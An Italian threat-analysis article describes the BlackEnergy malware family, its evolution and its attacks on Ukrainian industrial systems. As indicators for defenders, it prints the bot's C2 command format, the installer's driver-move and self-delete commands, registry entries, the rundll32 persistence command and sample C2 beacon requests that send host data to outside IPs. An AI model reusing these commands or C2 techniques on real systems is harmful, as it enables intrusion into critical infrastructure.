ANALISI DELLE MINACCE

BlackEnergy, il malware usato per colpire i sistemi industriali: dettagli ed evoluzione

BlackEnergy è un pericoloso malware utilizzato da sempre per colpire soprattutto sistemi ICS e SCADA, in particolare dell’industria energetica, e che nel tempo si è evoluto in una pericolosa minaccia APT. Ecco tutti i dettagli per identificarla

22 Apr 2020
F
Francesco Ferazza

CISSP, Consulente IT


Il nome BlackEnergy è quello di un malware modulare creato negli anni duemila dall’hacker conosciuto come Cr4sh e venduto per circa 700 dollari nel 2007. A partire da quell’anno, diversi attori criminali hanno iniziato ad utilizzare BlackEnergy e a svilupparlo ulteriormente.

Il malware è stato utilizzato, ad esempio, nel 2008 per portare a termine una serie di attacchi DDoS contro network georgiani. Dal 2014 in poi, BlackEnergy è stato invece utilizzato principalmente per attaccare sistemi ICS e SCADA, in particolare dell’industria energetica.

Dal 2015 in poi gli attacchi contro i sistemi industriali dell’Ucraina si sono fatti sempre più frequenti.

Per comodità, la maggior parte dei ricercatori raggruppa tutti gli attori malevoli che utilizzano questo malware e le sue nuove varianti, nell’APT chiamata, per l’appunto, BlackEnergy.

Sebbene non esista un’attribuzione geografica certa, le scelte degli obiettivi da parte di questa APT fanno presumere l’appartenenza a gruppi russi o filorussi.

Alcuni accademici e ricercatori di security firm fanno riferimento ai gruppi SandStorm e Voodoo Bear.

BlackEnergy: l’evoluzione

Il malware BlackEnergy si è evoluto nel corso degli anni. Possiamo definire tre principali versioni, iniziando dalle due più vecchie. La più recente, invece, la guarderemo nel dettaglio più avanti, parlando di una serie di attacchi più specifici.

BlackEnergy DDoS Bot

Il primo BlackEnergy non è altro che un bot http-based utilizzato per effettuare attacchi DDoS.

L’attore malevolo di turno può utilizzare un semplice builder per generare un eseguibile da distribuire alle vittime attraverso spam ed e-mail di phishing.

Nelle immagini che seguono possiamo vedere due interfacce del builder in differenti versioni, la 1.7 e la 1.9.2.

Il lato server della botnet è basato su PHP ed un semplice database MySQL. La query di creazione del database, come si vede nella figura sottostante è molto semplice.

Vengono create una tabella opt contenente tutte le informazioni di attacco e una tabella stat che contiene informazioni generiche sulla botnet.

Con PHP viene gestita invece l’interfaccia vera e propria del server C2 (Command and Control) della botnet e anche l’autenticazione. Il server è strutturato su diversi file PHP, qui i più interessanti:

  • auth.php: l’autenticazione, alquanto spartana al server C2;
  • config.php: un file di configurazione del bot, conteneva alcuni setting base come l’utente e la password per utilizzare MySQL, ad esempio;
  • index.php: il cuore della C2 della botnet. Qui il gestore della botnet può avere statistiche aggiornate sulla rete, inviare comandi specifici (vedi sotto) e gestire le opzioni di attacco principali (dallo spoofing degli IP alle opzioni SYN e ICMP più avanzate).

I comandi a disposizione sulla botnet sono i seguenti:

  • flood: inizia il flood/l’attacco DDoS (ICMP, SYN, TCP/UDP, HTTP);
  • stop: ferma l’attacco;
  • die: disinstalla il bot dai computer delle vittime;
  • wait: i computer infettati rimangono in attesa di comandi ulteriori dal server C2.

Da sottolineare che i comandi vengono inviati con richieste HTTP POST con payload encodati in Base64 seguendo questo formato:

icmp_freq;icmp_size;syn_freq;spoof_ip;attack_mode;max_sessions;http_freq;http_threads;tcpudp_freq;udp_size;tcp_size#cmd#ufreq#bot_id

Per esempio il comando:

10;2000;10;0;0;30;100;3;20;1000;2000#wait#1#BOTID

viene inviato come:

MTA7MjAwMDsxMDswOzA7MzA7MTAwOzM7MjA7MTAwMDsyMDAwI3dhaXQjMSNCT1RJRAo=

BlackEnergy 2

Questa versione del malware è stata diffusa principalmente attraverso e-mail di phishing e spear phishing contenenti il malware installer.

Questo, una volta eseguito dalle vittime, installa il driver di un device e un annesso servizio di Windows.

DIGITAL EVENT 9 SETTEMBRE
Cyber Security: tra tecnologia e cultura del dato. Ecco cosa fanno i Security People
Legal
Sicurezza

Questo è il comando utilizzato per installare la componente driver e far partire il servizio necessario:

/c “ping localhost -n 8 & move /Y “%windir%/<random driver name>” “%windir%/System32/drivers/<random driver name>.sys”

Dopo aver fatto questo, l’installer si chiude:

/s /c “for /L %i in (1,1,100) do (del /F “%USERPROFILE%/Desktop/<installer filename>” & ping localhost -n 2 & if not exist ” %USERPROFILE%/Desktop/<installer filename>” Exit 1)”

Queste entry vengono create nel registro di windows durante il processo:

  • HKLM/SYSTEM/ControlSet001/Enum/Root/LEGACY_ACPIEC
  • HKLM/SYSTEM/ControlSet001/Enum/Root/LEGACY_ACPIEC/0000
  • HKLM/SYSTEM/ControlSet001/Enum/Root/LEGACY_ACPIEC/0000/Control
  • HKLM/SYSTEM/ControlSet001/Services/ACPIEC/Enum
  • HKLM/SYSTEM/CurrentControlSet/Enum/Root/LEGACY_ACPIEC
  • HKLM/SYSTEM/CurrentControlSet/Enum/Root/LEGACY_ACPIEC/0000
  • HKLM/SYSTEM/CurrentControlSet/Enum/Root/LEGACY_ACPIEC/0000/Control
  • HKLM/SYSTEM/CurrentControlSet/Services/ACPIEC/Enum
  • HKLM/SYSTEM/ControlSet001/Enum/Root/LEGACY_ACPIEC/NextInstance: 0x00000001
  • HKLM/SYSTEM/ControlSet001/Enum/Root/LEGACY_ACPIEC/0000/Service: “ACPIEC”
  • HKLM/SYSTEM/ControlSet001/Enum/Root/LEGACY_ACPIEC/0000/Legacy: 0x00000001
  • HKLM/SYSTEM/ControlSet001/Enum/Root/LEGACY_ACPIEC/0000/ConfigFlags: 0x00000000
  • HKLM/SYSTEM/ControlSet001/Enum/Root/LEGACY_ACPIEC/0000/Class: “LegacyDriver”
  • HKLM/SYSTEM/ControlSet001/Enum/Root/LEGACY_ACPIEC/0000/DeviceDesc: “ACPIEC”
  • HKLM/SYSTEM/ControlSet001/Enum/Root/LEGACY_ACPIEC/0000/Capabilities: 0x00000000
  • HKLM/SYSTEM/ControlSet001/Enum/Root/LEGACY_ACPIEC/0000/Control/*NewlyCreated*: 0x00000000
  • HKLM/SYSTEM/ControlSet001/Enum/Root/LEGACY_ACPIEC/0000/Control/ActiveService: “ACPIEC”
  • HKLM/SYSTEM/ControlSet001/Services/ACPIEC/Enum/0: “Root/LEGACY_ACPIEC/0000”
  • HKLM/SYSTEM/ControlSet001/Services/ACPIEC/Enum/Count: 0x00000001
  • HKLM/SYSTEM/ControlSet001/Services/ACPIEC/Enum/NextInstance: 0x00000001
  • HKLM/SYSTEM/CurrentControlSet/Enum/Root/LEGACY_ACPIEC/NextInstance: 0x00000001
  • HKLM/SYSTEM/CurrentControlSet/Enum/Root/LEGACY_ACPIEC/0000/Service: “ACPIEC”
  • HKLM/SYSTEM/CurrentControlSet/Enum/Root/LEGACY_ACPIEC/0000/Legacy: 0x00000001
  • HKLM/SYSTEM/CurrentControlSet/Enum/Root/LEGACY_ACPIEC/0000/ConfigFlags: 0x00000000
  • HKLM/SYSTEM/CurrentControlSet/Enum/Root/LEGACY_ACPIEC/0000/Class: “LegacyDriver”
  • HKLM/SYSTEM/CurrentControlSet/Enum/Root/LEGACY_ACPIEC/0000/DeviceDesc: “ACPIEC”
  • HKLM/SYSTEM/CurrentControlSet/Enum/Root/LEGACY_ACPIEC/0000/Capabilities: 0x00000000
  • HKLM/SYSTEM/CurrentControlSet/Enum/Root/LEGACY_ACPIEC/0000/Control/*NewlyCreated*: 0x00000000
  • HKLM/SYSTEM/CurrentControlSet/Enum/Root/LEGACY_ACPIEC/0000/Control/ActiveService: “ACPIEC”
  • HKLM/SYSTEM/CurrentControlSet/Services/ACPIEC/Enum/0: “Root/LEGACY_ACPIEC/0000”
  • HKLM/SYSTEM/CurrentControlSet/Services/ACPIEC/Enum/Count: 0x00000001
  • HKLM/SYSTEM/CurrentControlSet/Services/ACPIEC/Enum/NextInstance: 0x00000001

Il risultato di questa operazione è quindi l’installazione di un driver legacy, all’insaputa dell’utente, i cui servizi iniettano codice nel processo %WINDIR%/system32/svchost.exe, aprendo di fatto la backdoor che si mette subito in ascolto, su un set di porte predefinito, in attesa di comandi dal server C2.

BlackEnergy 3 e l’attacco ucraino

A partire già da fine 2014 l’APT BlackEnergy inizia a utilizzare la terza evoluzione dell’omonimo malware per colpire in particolare sistemi ICS/SCADA, con una particolare concentrazione verso l’Ucraina.

Vettori d’attacco

I principali vettori di questi attacchi sono e-mail di phishing e spear phishing contenenti documenti Office – specialmente Excel – con annesse VBA macro.

Vengono utilizzati principalmente falsi mittenti, alle volte i documenti sembrano provenire da finanziarie note, o da partiti politici (come “Pravii Sektor”, partito nazionalista ucraino) o da uffici governativi, come il “Prosecutor General’s Office of Ukraine”.

Come accennato sopra, in genere vengono utilizzati documenti Excel, ma ICS-CERT menziona anche l’utilizzo di file Word nel suo alert 14-281-01B.

Installazione del Malware

La macro VBA contiene del codice offuscato in array di numeri interi in formato decimale.

I più attenti avranno già notato i numeri 77 e 90 all’inizio (hex 4d e 5a), che sono i magic numbers di un eseguibile DOS.

Quando la macro viene eseguita, il codice viene deoffuscato, i valor hex salvati in %TMP%/vba_macro.exe, che una volta eseguito lascerà il payload finale sotto forma di libreria DLL nel percorso: %LOCALAPPDATA%/FONTCACHE.DAT.

Questa DLL verrà quindi richiamata con il comando:

rundll32.exe “%LOCALAPPDATA%/FONTCACHE.DAT”,#1

Sistemi di protezione e persistenza del malware

Questo malware si protegge in diversi modi.

  • la macro VBA è offuscata, come abbiamo visto sopra;
  • sia il malware dropper (vba_macro.exe) sia il payload vero e proprio (fontcache.dat) sono Portable Executable File, i cui contenuti sono criptati e decriptati a runtime.

Il malware è persistente, crea un file LNK nella cartella di startup di windows in modo che il comando rundll32.exe “%LOCALAPPDATA%/FONTCACHE.DAT”,#1 venga eseguito ad ogni reboot/startup del sistema.

Chiamate sul network

Una volta installato, il malware comunica col suo server C2.

Qui sotto un esempio di chiamata:

POST /Microsoft/Update/KC074913.php HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)

Host: 5.149.254.114

Content-Length: 143

Connection: Keep-Alive

body=Yl9pZD1URVFVSUxBQk9PTUJPT01fODUwQjEzNTgwOUM5MThFMURFQzI2M0I2QTI3OTdBNzAmYl9nZW49cmVsZWFzZSZiX 3Zlcj0yLjImb3Nfdj0yNjAwJm9zX3R5cGU9 MA==

dove il body contiene, base64 encoded, queste info su bot e OS, ad esempio:

b_id=TEQUILABOOMBOOM_850B135809C918E1DEC263B6A2797A70&b_gen=release&b_ver=2.2&os_v=2600&os_type=0

Alcune varianti di questa versione del malware sono in grado di utilizzare HTTP CONNECT tunneling per passare da proxy:

CONNECT 5.79.80.166:443 HTTP/1.0

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)

Host: 5.79.80.166:443

Content-Length: 0

Proxy-Connection: Keep-Alive

Pragma: no-cache

Conclusioni

BlackEnergy è una APT ed un avversario altamente dinamico che utilizza l’omonimo tool per attaccare il particolare:

  • ICS, compagnie energetiche e strutture governative in Ucraina;
  • sistemi ICS/SCADA nel mondo;
  • compagnie energetiche nel mondo.

Se si opera in questi ambiti è bene tenere presente questa minaccia nel threat landscape che si deve affrontare.

WHITEPAPER
Che differenza c’è tra VPN software e VPN hardware?
Networking
Network Security

Kaspersky, FireEye e diversi ricercatori accademici hanno tracciato l’attività ininterrotta di questa APT fin dal giugno 2014.

@RIPRODUZIONE RISERVATA

Articolo 1 di 5